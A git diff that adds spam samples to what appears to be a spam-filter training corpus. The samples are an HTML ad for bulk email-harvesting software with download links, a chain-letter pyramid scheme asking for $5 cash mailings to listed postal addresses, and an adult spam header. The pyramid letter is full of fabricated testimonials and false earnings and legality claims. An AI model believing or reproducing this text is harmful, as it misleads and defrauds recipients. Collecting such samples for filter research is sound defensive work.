color=3D#ff00ff face=3DArial size=3D4=3E=3CB=3Eaddresses directly from the Email + servers in only one hour! =3B=3C=2FB=3E=3C=2FFONT=3E=3C=2FP=3E + =3CUL=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E is a 32 bit Windows Program for e-mail marketing=2E It + is intended for easy and convenient search large e-mail address lists + from mail servers=2E The program can be operated on Windows 95=2F98=2FME=2F2000 + and NT=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E =3C=2FB=3Esupport multi-threads =28up to 512 + connections=29=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has the ability =3B to reconnect to the mail + server if the server has disconnected and continue the searching at the + point where it has been interrupted=2E=3C=2FFONT=3E + =3CLI=3E=3CFONT face=3DArial size=3D2=3E=3CB=3E=3CFONT color=3D#0000ff=3EEasy Email + Searcher=3C=2FFONT=3E=3C=2FB=3E has an ergonomic interface that is easy to set up + and simple to use=2E=3C=2FFONT=3E =3C=2FLI=3E=3C=2FUL=3E + =3CP=3E=A1=A1=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3EEasy Email Searcher is an email + address searcher and bulk e-mail sender=2E It can verify more than 5500 + email addresses per minute at only 56Kbps speed=2E It even allows you send + email to valid email address while searching=2E You can save the searching + progress and load it to resume work at your convenience=2E All you need to + do is just input an email address=2C and press the =22Search=22 + button=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#0000ff face=3DArial=3E=3CBR=3E=3C=2FFONT=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#FF00FF=22=3EVery + Low Price ! ------- =3B Now=2C =3B The full version of Easy Email + Searcher only costs =3C=2Ffont=3E=3Cfont face=3D=22Comic Sans MS=22 size=3D=224=22 color=3D=22#0000FF=22=3E$ + 39=2E 95=3C=2Ffont=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CI=3EClick The Following Link To + Download The Demo =3A=3C=2FI=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=22=3EDownload Site + 1=3C=2FA=3E=3C=2FFONT=3E=3C=2FB=3E=3C=2FP=3E + =3CP=3E=3CB=3E=3CFONT color=3D#ff0000 face=3DArial size=3D4=3E=3CA + href=3D=22http=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=22=3EDownload Site + 2=3C=2FA=3E =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3B =3C=2FFONT=3E=3C=2FB=3E=A1=A1=3CFONT color=3D#0000a0 face=3DArial + size=3D3=3E=3CSTRONG=3EIf =3B you can not download this program =2C =3B please + copy the following link into your URL =2C and then click =22 Enter=22 on your + Computer Keyboard=2E=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CP=3E=3CFONT size=3D2=3E=3CFONT color=3D#0000a0 face=3DArial size=3D3=3E=3CSTRONG=3EHere is the + download links=3A=3C=2FSTRONG=3E=3C=2FFONT=3E=3C=2FP=3E + =3CDIV=3E + =3CP=3Ehttp=3A=2F=2Fwww=2Ewldinfo=2Ecom=2Fdownload=2Femail=2Fnewees=2Ezip=3C=2FP=3E + =3CP=3Ehttp=3A=2F=2Fbestsoft=2E3322=2Eorg=2Fonlinedown=2Fnewees=2Ezip=3C=2FP=3E=3C=2FFONT=3E=3C=2FDIV=3E + =3CP=3E=3C=2FP=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E + =3CTR=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E + =3CTD bgColor=3D#0f95de width=3D=2290%=22=3E=3CFONT color=3D#ffffff + face=3D=22Verdana=2C Tahoma=2C Helvetica=2C SansSerif=22 + size=3D1=3E=3CB=3EDisclaimer=3A=3C=2FB=3E=3CBR=3EWe are strongly against continuously sending + unsolicited emails to those who do not wish to receive our special + mailings=2E We have attained the services of an independent 3rd party to + overlook list management and removal services=2E This is not unsolicited + email=2E If you do not wish to receive further mailings=2C please click this + link =3CA href=3D=22 mailto=3Aremoval=40btamail=2Enet=2Ecn =22 + target=3D=5Fblank=3E=3CFONT + color=3D#fdd32a=3E=3CB=3Emailto=3Aremoval=40btamail=2Enet=2Ecn + =3C=2FB=3E=3C=2FFONT=3E=3C=2FA=3E=2E =3B=3C=2FFONT=3E=3CB=3E=3CFONT class=3Ddisclaimer color=3D#000080 + face=3DArial=3E=3CBR=3EThis message is a commercial advertisement=2E It is compliant + with all federal and state laws regarding email messages including the + California Business and Professions Code=2E We have provided the subject + line =22ADV=22 to provide you notification that this is a commercial + advertisement for persons over 18yrs old=2E=3C=2FFONT=3E=3C=2FB=3E=3C=2FTD=3E + =3CTD width=3D=225%=22=3E=3C=2FTD=3E=3C=2FTR=3E=3C=2FTBODY=3E=3C=2FTABLE=3E +=3CBR=3E + + + diff --git a/bayes/spamham/spam_2/00993.32d00ccd0a831830838667fed1371d5f b/bayes/spamham/spam_2/00993.32d00ccd0a831830838667fed1371d5f new file mode 100644 index 0000000..e110834 --- /dev/null +++ b/bayes/spamham/spam_2/00993.32d00ccd0a831830838667fed1371d5f @@ -0,0 +1,675 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O0TDhY060591 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 19:29:13 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6O0TCOI060586 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 19:29:12 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6O0T7hY060553 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 19:29:09 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6O0T6J62280 + for ; Tue, 23 Jul 2002 20:29:06 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6O0T5h29706 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 20:29:05 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6O0T3R29681 + for ; Tue, 23 Jul 2002 20:29:03 -0400 +Received: from starmail.com (cpe.atm2-0-103167.0x3ef2bb83.kd4nxx9.customer.tele.dk [62.242.187.131]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6O0StJ62240 + for ; Tue, 23 Jul 2002 20:28:56 -0400 (EDT) + (envelope-from Tonyclg123@starmail.com) +Reply-To: +Message-ID: <023e72e75d0b$7861e1b5$5ee28ea3@ecbkdd> +From: +To: Hello@locust.minder.net +Subject: < Make $50,000 in 90 Days Sending Emails at Home > +Date: Wed, 24 Jul 0102 04:01:49 -0400 +MiME-Version: 1.0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 8bit +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: The Bat! (v1.52f) Business +Importance: Normal + + +Hi, + +You can make $50,000 or more in the next 90 days sending e-mail. +Seem impossible? Is there a catch? NO, there is no catch; just +send your e-mails and be on your way to financial freedom. + +Basically, I send out as many of these e-mails as I can, then +people send me CASH in the mail for information that I just e-mail +back to them. Everyday, I make a three minute drive to my P.O. Box +knowing that there are at least a few hundred dollars waiting for +me. And the best part, IT IS COMPLETELY LEGAL. + +Just read the next few paragraphs and see what you think. If you +like what you read, great! If you don't, read it again because you +must have missed something. + +"AS SEEN ON NATIONAL TELEVISION" + +"Making over a half million dollars every 6 months from your home +for an investment of only $25 US dollars expense ONE TIME. THANKS +TO THE COMPUTER AGE AND THE INTERNET, BE A MILLIONAIRE LIKE OTHERS +WITHIN A YEAR!!! Before you say, "No Way!" read the following. +This is the letter you've been reading about in the news lately. +Due to the popularity of this letter on the Internet, a major +nightly news program recently devoted an entire show to the +investigation of the program described below to see if it really +can make people money. + +The show also investigated whether or not the program was legal. +Their findings proved once and for all that there are absolutely +no laws prohibiting the participation in this program. This has +helped to show people that this is a simple, harmless, and fun way +to make some extra money at home. + +The results of this show have been truly remarkable. So many +people are participating that those involved are doing much better +than ever before. Since everyone makes more as more people try it +out, its been very exciting to be a part of it lately. You will +understand once you experience it. + +"HERE IT IS BELOW" + +*** Print This Now For Future Reference *** + +The following income opportunity is one you may be interested in +taking a look at. It can be started with VERY LITTLE investment +($25) and the income return is TREMENDOUS!!! + +THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. + +It does not require you to come into contact with people, do any +hard work, and best of all, you never have to leave your house +except to get the mail. + +Simply follow the instructions, and you really can make this +happen. This e-mail order marketing program works every time if +you put in the effort to make it work. E-mail is the sales tool of +the future. Take advantage of this non-commercialized method of +advertising NOW! + +The longer you wait, the more savvy people will be taking your +business using e-mail. Get what is rightfully yours. Program +yourself for success and dare to think BIG. It sounds corny, but +it's true. You'll never make it big if you don't have this belief +system in place. + +MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It +is being taught in the Harvard Business School, and both Stanford +Research and the Wall Street Journal have stated that between 50% +and 65% of all goods and services will be sold through multi-level +methods. +This is a Multi-Billion Dollar industry and of the 500,000 +millionaires in the U.S., 20% (100,000) made their fortune in the +last several years in MLM. Moreover, statistics show 45people +become millionaires everyday through Multi-Level Marketing. + +You may have heard this story before, but Donald Trump made an +appearance on the David Letterman show. Dave asked him what he +would do if he lost everything and had to start over from scratch. +Without hesitating Trump said he would find a good network +marketing company and get to work. +The audience, started to hoot and boo him. He looked out at the +audience and dead-panned his response. "That's why I'm sitting up +here and you are all sitting out there!" + +With network marketing you have two sources of income. Direct +commissions from sales you make yourself and commissions from +sales made by people you introduce to the business. + +Residual income is the secret of the wealthy. It means investing +time and money once, and getting paid again and again and again. +In network marketing, it also means getting paid for the work of +others. + +The enclosed information is something I almost let slip through my +fingers. Fortunately, sometime later I reread everything and gave +some thought and study to it. + +My name is Jonathan Rourke. Two years ago, the corporation I +worked at for the past twelve years down- sized and my position +was eliminated. After unproductive job interviews, I decided to +open my own business. Over the past year, I incurred many +unforeseen financial problems. I owed my family, friends and +creditors over $35,000. The economy was taking a toll on my +business and I just couldn't seem to make ends meet. I had to +refinance and borrow against my home to support my family and +struggling business. AT THAT MOMENT something significant happened +in my life and I am writing to share that experience in hopes that +this will change your life FOREVER FINANCIALLY!!! + +In mid December, I received this program via e-mail. Six month's +prior to receiving this program, I had been sending away for +information on various business opportunities. All of the programs +I received, in my opinion were not cost effective. They were +either too difficult for me to comprehend or the initial +investment was too much for me to risk to see if they would work +or not. One claimed that I would make a million dollars in one +year. It didn't tell me I'd have to write a book to make it! + +But like I was saying, in December I received this program. I +didn't send for it, or ask for it; they just got my name off a +mailing list. THANK GOODNESS FOR THAT!!! +After reading it several times, to make sure I was reading it +correctly, I couldn't believe my eyes. + +Here was a MONEY MAKING PHENOMENON. + +I could invest as much as I wanted to start without putting me +further into debt. After I got a pencil and paper and figured it +out, I would at least get my money back. But like most of you I +was still a little skeptical and a little worried about the legal +aspects of it all. So I checked it out with the U.S. Post Office +(1-800-725-2161 24 hrs) and they confirmed that it is indeed +legal! After determining the program was LEGAL and NOT A CHAIN +LETTER, I decided "WHY NOT." + +Initially I sent out 10,000 e-mails. It cost me about $15 for my +time on-line. The great thing about e-mail is that I don't need +any money for printing to send out the program, and because all of +my orders are filled via e-mail, the only expense is my time. I am +telling you like it is. I hope it doesn't turn you off, but I +promised myself that I would not 'rip-off" anyone, no matter how +much money it cost me. +Here is the basic version of what you need to do: + +Your first goal is to receive at least 20 orders for Report #1 +within 2 weeks of your first program going out. IF YOU DON'T, SEND +OUT MORE PROGRAMS UNTIL YOU DO. + +Your second goal is to receive at least 150+ orders for Report #2 +within 4 weeks. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. + +Once you have your 150 orders, relax, you've met your goal. You +will make $50,000+ but keep at it! If you don't get 150 right off, +keep at it! It may take some time for your down line to build. +Keep at it, stay focused, and do not let yourself get distracted. + +In less than one week, I was starting to receive orders for REPORT +#1. I kept at it - kept mailing out the program and by January 13, +1 had received 26 orders for REPORT #1. My first step in making +$50,000 in 90 days was done. + +By January 30, 1 had received 196 orders for REPORT #2; 46 more +than I needed. So I sat back and relaxed. By March 1, of my +e-mailing of 10,000, I received $58,000 with more coming in every +day. I paid off ALL my debts and bought a much needed new car. +Please take time to read the attached program, IT WILL CHANGE YOUR +LIFE FOREVER!! Remember, it won't work if you don't try it. This +program does work, but you must follow it EXACTLY! Especially the +rules of not trying to place your name in a different place. It +won't work, you'll lose out on a lot of money! + +In order for this program to work very fast, try to meet your goal +of 20+ orders for Report #1, and 150+ orders for Report #2 and you +will make $50,000 or more in 90 days. If you don't reach the first +two goals with in four weeks, relax, you will still make a ton of +money, it may take a few months or so longer. But keep mailing out +the programs and stay focused! That's the key. I AM LIVING PROOF +THAT IT WORKS!!! If you choose not to participate in this program, +I am sorry. It really is a great opportunity with little cost or +risk to you. If you choose to participate, follow the program and +you will be on your way to financial security. + +If you are a fellow business owner and are in financial trouble +like I was, or you want to start your own business, consider this +a sign. I DID! -Sincerely, Jonathan Rourke + +P.S. Do you have any idea what 11,700 $5 bills ($58,000) look +like piled up on a kitchen table? IT'S AWESOME! + +A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: + +By the time you have read the enclosed program and reports, you +should have concluded that such a program, and one that is legal, +could not have been created by an amateur. + +Let me tell you a little about myself. I had a profitable business +for 10 years. Then in 1979 my business began falling off. I was +doing the same things that were previously successful for me, but +it wasn't working. + +Finally, I figured it out. It wasn't me; it was the economy. +Inflation and recession had replaced the stable economy that had +been with us since 1945. + +I don't have to tell you what happened to the unemployment +rate...because many of you know from first hand experience. There +were more failures and bankruptcies than ever before. + +The middle class was vanishing. Those who knew what they were +doing invested wisely and moved up. Those who did not including +those who never had anything to save or invest were moving down +into the ranks of the poor. + +As the saying goes, 'THE RICH GET RICHER AND THE POOR GET POORER." +The traditional Methods of making money will never allow you to +"move up" or "get rich". Inflation will see to that. + +You have just received information that can give you financial +freedom for the rest of your life, with "NO RISK" and "JUST A +LITTLE BIT OF EFFORT." You can make more money in the next few +months than you have ever imagined. + +Follow the program EXACTLY AS INSTRUCTED. Do not change it in any +way. It works exceedingly well as it is now. Remember to e-mail a +copy of this exciting report to everyone you can think of. One of +the people you send this to may send out 50,000 ... and your name +will be on everyone of them! + +Remember though, the more you send out the more potential +customers you will reach. + +So my friend, I have given you the ideas, information, materials +and opportunity to become financially independent. IT IS UP TO +YOU NOW! + +"THINK ABOUT IT." Before you delete this program from your +mailbox, as I almost did, take a little time to read it and REALLY +THINK ABOUT IT. Get a pencil and figure out what could happen when +YOU participate. Figure out the worst possible response and no +matter how you calculate it, you will still make a lot of money! +You will definitely get back what you invested. Any doubts you +have will vanish when your first orders come in. IT WORKS! -Jody +Jacobs, Richmond, VA + +HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$ + +This method of raising capital REALLY WORKS 100% EVERY TIME. I am +sure that you could use up to $50,000 or more in the next 90 days. + +Before you say "No Way!" please read this program carefully. This +is not a chain letter, but a perfectly legal money making +opportunity. Basically, this is what you do: As with all +multilevel businesses, we- build our business by recruiting new +partners and selling our products. Every state in the USA allows +you to recruit new multilevel business partners, and we offer a +product for EVERY dollar sent. YOUR ORDERS COME BY MAIL AND ARE +FILLED BY E-MAIL, so you are not involved in personal selling. You +do it privately in your own home, store, or office. + +This is the GREATEST Multi-Level Mail Order Marketing anywhere: +This is what you MUST do. + +1. Order all 5 reports shown on the list below (You can't sell +them if you don't have them). + +* For each report, send $5.00 CASH, the NAME & NUMBER OF THE +REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & +RETURN ADDRESS (in case of a problem). + +*MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE - IN CASE OF +ANY MAIL PROBLEMS! + +* When you place your order, make sure you order each of the five +reports. You need all five reports so that you can save them on +your computer and resell them. + +* Within a few days you will receive, via e-mail, each of the five +reports. Save them on your computer so they will be accessible for +you to send to the 1,000's of people who will order them from you. + +2. IMPORTANT- DO NOT alter the names of the people who are listed +next to each report, or their order +on the list in any way other than as instructed below in steps "a" +through 'g" or you will lose out on the majority of your profits. +Once you understand the way this works you'll also see how it +doesn't work if you change it. Remember, this method has been +tested, and if you alter it, it will not work. + +a. Look below for the listing of available reports. + +b. After you've ordered the. five reports, take this Advertisement +and remove the name and address under REPORT #5. This person has +made it through the cycle and is no doubt counting their $50,000! + +c. Move the name and address under REPORT #4 down to REPORT #5. + +d. Move the name and address under REPORT #3 down to REPORT #4. + +e. Move the name and address under REPORT #2 down to REPORT #3 + +f. Move the name and address under REPORT #1 down to REPORT #2. + +g. Insert your name and address in the REPORT #1 position. + +Please make sure you copy every name and address ACCURATELY! Copy +and paste method works well,. + +3. Take this entire letter, including the modified list of names, +and save it to your computer. Make NO changes to the Instruction +portion of this letter. + +Your cost to participate in this is practically nothing (surely +you can afford $25). You obviously already have an Internet +Connection and e-mail is FREE! + +To assist you with marketing your business on the internet, the 5 +reports you purchase will provide you with invaluable marketing +information which includes how to send bulk e-mails, where to find +thousands of free classified ads and much, much more. + +Here are two primary methods of building your downline: + +METHOD #1: SENDING BULK E-MAIL + +Let's say that you decide to start small, just to see how it goes, +and we'll assume you and all those involved send out only 2,000 +programs each. Let's also assume that the mailing receives a 0.5% +response. Using a good list, the response could be much better. +Also, many people will send out hundreds of thousands of programs +instead of 2,000. But continuing with this example, you send out +only 2,000 programs. With a 0.5% response, that is only 10 orders +for REPORT #1. Those 10 people respond by sending out 2,000 +programs each for a total of 20,000. Out of those 0.5%, 100 people +respond and order REPORT #2. + +Those 100 mail out 2,000 programs each for a total of 200,000. The +0.5% response to that is 1,000 orders for REPORT #3. Those 1,000 +send out 2,000 programs each for a 2,000,000 total. The 0.5% +response to that is I 0,000 orders for REPORT #4. That amounts to +10,000 each of $5 bills for you in CASH MONEY! Then think about +level five! That's $500,000 alone! + +Your total income in this example is $50 + $500 + $5,000+ $50,000 ++ $500,000 for a total of $555,550!!! + +REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE +YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! +DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF +SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000. Believe me, many +people will do just that and more! + +REPORT #2 will show you the best methods for bulk e-mailing, and +e-mail software. + +METHOD #2 - PLACING FREE ADS ON THE INTERNET + +1. Advertising on the Net is very, very inexpensive, and there are +HUNDREDS of FREE places to advertise. Let's say you decide to +start small just to see how well it works. Assume your goal is to +get ONLY 10 people to participate on your first level. Placing a +lot of FREE ads on the internet will EASILY get a larger response. +Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 +downline members. Follow this example to achieve the STAGGERING +results below: + +1st level-your 10 members with $5 ....... $50 +2nd level-10 members from those 10 ($5 x 100) ....... $500 +3rd level-10 members from those 100 ($5 x 1,000)....... $5,000 +4th level-10 members from those 1,000 ($5 x 10k) ....... $50,000 +5th level-10 members from those 10,000 ($5 x 100k) ....... $500,000 + +THIS TOTALS - $555,550 + +Remember friends, this assumes that the people who participate +only recruit 10 people each. Think for a moment what would happen +if they got 20 people to participate! Most people get 100's of +participants. + +THINK ABOUT IT! For every $5.00 you receive, all you must do is +e-mail them the report they ordered. THAT'S IT! ALWAYS PROVIDE +SAME-DAY SERVICE ON ALL ORDERS! This will guarantee that the +e-mail THEY send out with YOUR name and address on it will be +prompt because they can't advertise until they receive the report! + +AVAILABLE REPORTS *** Order Each REPORT by NUMBER, AND +NAME *** + +* ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT +ACCEPTED * - ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL - Make +sure the cash is concealed by wrapping it in at least two sheets +of paper (SO THAT THE BILL CAN'T BE SEEN AGAINST LIGHT) On one of +those sheets of paper include: +(a) the number & name of the report you are ordering, +(b) your e-mail address, and +(c) your name & postal address (in case your e-mail provider +encounters problems). + +PLACE YOUR ORDER FOR THESE REPORTS NOW: + +REPORT #1 "The Insiders Guide to Advertising for Free on the Internet" + +ORDER REPORT #1 FROM: + +Tony Goon +120 - 8511 Westminster Hwy. +Richmond, BC. V6X 3H7 +CANADA + + +REPORT #2 "The Insiders Guide to Sending Bulk E-mail on the Internet" + +ORDER REPORT #2 FROM: + +Julie Lind +Blk B 5-15,Prisma Perdana, +Jalan Midah 8 A,Cheras +56000 Kuala Lumpur, +MALAYSIA. + + +REPORT #3 "The Secrets to Multilevel Marketing on the Internet" + +ORDER REPORT #3 FROM: + +Mike IAT +PO Box 11360, +50742 Kuala Lumpur, +MALAYSIA. + + +REPORT #4 'How to become a Millionaire utilizing the Power of +Multilevel Marketing and the Internet" + +ORDER REPORT #4 FROM: + +Ken Leung +Flat B, 5/F, BLK 5, +Serenity Park, Tai Po, N.T. +Hong Kong + + +REPORT #5 "How to Send One Million E-Mails for Free." + +ORDER REPORT #5 FROM: + +Randy Dallard +P.O. Box 8 +Osprey, FL 34229 +U.S.A. + +About 50,000 new people get online every month! + +******* TIPS FOR SUCCESS ******* + +* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow +the directions accurately. + +* Send for the five reports IMMEDIATELY so you will have them when +the orders start coming in. When you receive a $5 order, you MUST +send out the requested product/report. + +* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. + +* Be patient and persistent with this program. If you follow the +instructions exactly, your results WILL BE SUCCESSFUL! + +* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED! + +******* YOUR SUCCESS GUIDELINES ******* + +Follow these guidelines to guarantee your success: + +Start posting ads as soon as you mail off for the reports! By the +time you start receiving orders, your reports will be in your +mailbox! For now, something simple, such as posting on message +boards something to the effect of "Would you like to know how to +earn $50,000 working out of your house with NO initial investment? +Email me with the keywords "more info" to find out how. And, when +they email you, send them this report in response! + +If you don't receive 20 orders for REPORT #1 within two weeks, +continue advertising or sending e-mails until you do. + +Then, a couple of weeks later you should receive at least 100 +orders for REPORT#2. If you don't, continue advertising or sending +e-mails until you do. Once you have received 100 or more orders +for REPORT #2, YOU CAN RELAX, because the system is already +working for you, and the cash will continue to roll in! + +THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down +on the list you are placed in front of a DIFFERENT report. You can +KEEP TRACK of your PROGRESS by watching which report people are +ordering from you. If you want to generate more income, send +another batch of e-mails or continue placing ads and start the +whole process again! There is no limit to the income you will +generate from this business! + +Before you make your decision as to whether or not you participate +in this program, answer one question ... +DO YOU WANT TO CHANGE YOUR LIFE? If the answer is yes, please look +at the following facts about this program: + +1. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO +PRODUCE! + +2. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO SHIP! + +3. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST YOU ANYTHING TO +ADVERTISE! + +4. YOU ARE UTILIZING THE POWER OF THE INTERNET AND THE POWER OF +MULTI-LEVEL MARKETING TO DISTRIBUTE YOUR PRODUCT ALL OVER THE +WORLD! + +5. YOUR ONLY EXPENSES OTHER THAN YOUR INITIAL $25 INVESTMENT IS +YOUR TIME! + +6. VIRTUALLY ALL OF THE INCOME YOU GENERATE FROM THIS PROGRAM IS +PURE PROFIT! + +7. THIS PROGRAM WILL CHANGE YOUR LIFE FOREVER. + +******* TESTIMONIALS******* + +This program does work, but you must follow it EXACTLY! Especially +the rule of not trying to place your name in a different position, +it won't work and you'll lose a lot of potential income. I'm +living proof that it works. It really is a great opportunity to +make relatively easy money, with little cost to you. If you do +choose to participate, follow the program exactly, and you'll be +on your way to financial security. -Steven Bardfield, Portland, OR + +My name is Mitchell. My wife, Jody, and I live in Chicago, IL. I +am a cost accountant with a major U.S. Corporation and I make +pretty good money. When I received the program I grumbled to Jody +about receiving "junk mail." I made fun of the whole thing, +spouting my knowledge of the population and percentages involved. +I 'knew' it wouldn't work. Jody totally ignored my supposed +intelligence and jumped in with both feet. I made merciless fun of +her, and was ready to lay the old 'I told you so' on her when the +thing didn't work... well, the laugh was on me! Within two weeks +she had received over 50 responses. Within 45 days she had +received over $147,200 in $5 bills! I was shocked! I was sure that +I had it all figured and that it wouldn't work. I AM a believer +now. I have joined Jody in her "hobby. " I did have seven more +years until retirement, but I think of the 'rat race,' and it's +not for me. We owe it all to MLM. -Mitchell Wolf MD., Chicago, IL. + +The. main reason for this letter is to convince you that this +system is honest, lawful, extremely profitable, and is a way to +get a large amount of money in a short time. I was approached +several times before 1 checked this out. I joined just to see what +one could expect in return for the minimal effort and money +required. To my astonishment I received $36,470.00 in the first 14 +weeks, with money still coming in. +-Charles Morris, Esq. + +Not being the gambling type, it took me several weeks to make up +my mind to participate in this plan. But conservative that I am, I +decided that the initial investment was so little that there was +just no way that I wouldn't get enough orders to at least get my +money back. Boy, was I surprised when I found my medium- size post +office box crammed with orders! For awhile, it got so overloaded +that I had to start picking up my mail at the window. I'll make +more money this year than any 10 years of my life before. The nice +thing about this deal is that it doesn't matter where people live. +There simply isn't a better investment with a faster return. +-Paige Willis, Des Moines, IA + +I had received this program before. I deleted it, but later I +wondered if I shouldn't have given it a try. Of course, I had no +idea who to contact to get another copy, so I had to wait until I +was e-mailed another program ... 11 months passed then it came ... +I didn't delete this one! ... I made. more than $41,000 on the +first try!! -Violet Wilson, Johnstown, PA + +This is my third time to participate in this plan. We have quit +our jobs, and will soon buy a home on the beach and live off the +interest on our money. The only way on earth that this plan will +work for you is if you do it. For your sake, and for your family's +sake don't pass up this golden opportunity. Good luck and happy +spending! -Kerry Ford, Centerport, NY + +IT IS UP TO YOU NOW! Take 5 minutes to Change Your Future! + +ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL +FREEDOM! + +FOR YOUR INFORMATION: If you need help with starting a business, +registering a business name, learning how income tax is handled, +etc., contact your local office of the Small Business +Administration (a Federal agency) 1(800) 827-5722 for free help +and answers to questions. Also, the Internal Revenue Service +offers free help via telephone and free seminars about business +tax requirements. + +Under Bill S1618 Title HI passed by the 105th US Congress this +letter cannot be considered spam as long as the sender includes +contact information and a method of removal. + +This is not a spam! Your are receiving this email either because, +you have sent me and email in the past, or you are on a list of +marketers requesting information. If this is not the case, +PLEASE accept my sincerest apologies and reply with "remove" in the +subject field at tonygremv@starmail.com. I will remove your name +immediately! + + +STOP! If you ever read another e-mail PLEASE take a moment to +read this one. This really is worth your valuable time. + +At the very least PRINT THIS OUT NOW to read later if you are +pressed for time. + + + SSM1 +7442MCPk0-l9 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00994.228b5746d5f0e44e436fbc0203b3c67a b/bayes/spamham/spam_2/00994.228b5746d5f0e44e436fbc0203b3c67a new file mode 100644 index 0000000..8acd58b --- /dev/null +++ b/bayes/spamham/spam_2/00994.228b5746d5f0e44e436fbc0203b3c67a @@ -0,0 +1,38 @@ +Received: from ns.hostinworld8.com ([65.125.227.118]) + by linux.midrange.com (8.11.6/8.11.6) with SMTP id g6OLkre20584 + for ; Wed, 24 Jul 2002 16:46:53 -0500 +Message-Id: <200207242146.g6OLkre20584@linux.midrange.com> +Received: (qmail 17325 invoked from network); 24 Jul 2002 10:26:25 -0000 +Received: from ol65-16.fibertel.com.ar (HELO 24.232.16.65) (24.232.16.65) + by 208.23.122.228 with SMTP; 24 Jul 2002 10:26:25 -0000 +From: smath2392921@yahoo.com +To: tjimbo@ndnet.net, jsgl@uswest.net, apolllo@hotmail.com, cwatson@nb.net +CC: sarsfield2@hotmail.com, stump35@hotmail.com, karenc777@hotmail.com +Date: Wed, 24 Jul 2002 05:30:04 -0400 +Subject: Adult Photos, Movies, Chat, Videos, Cams, Games and More. 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    + + + +***** + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net 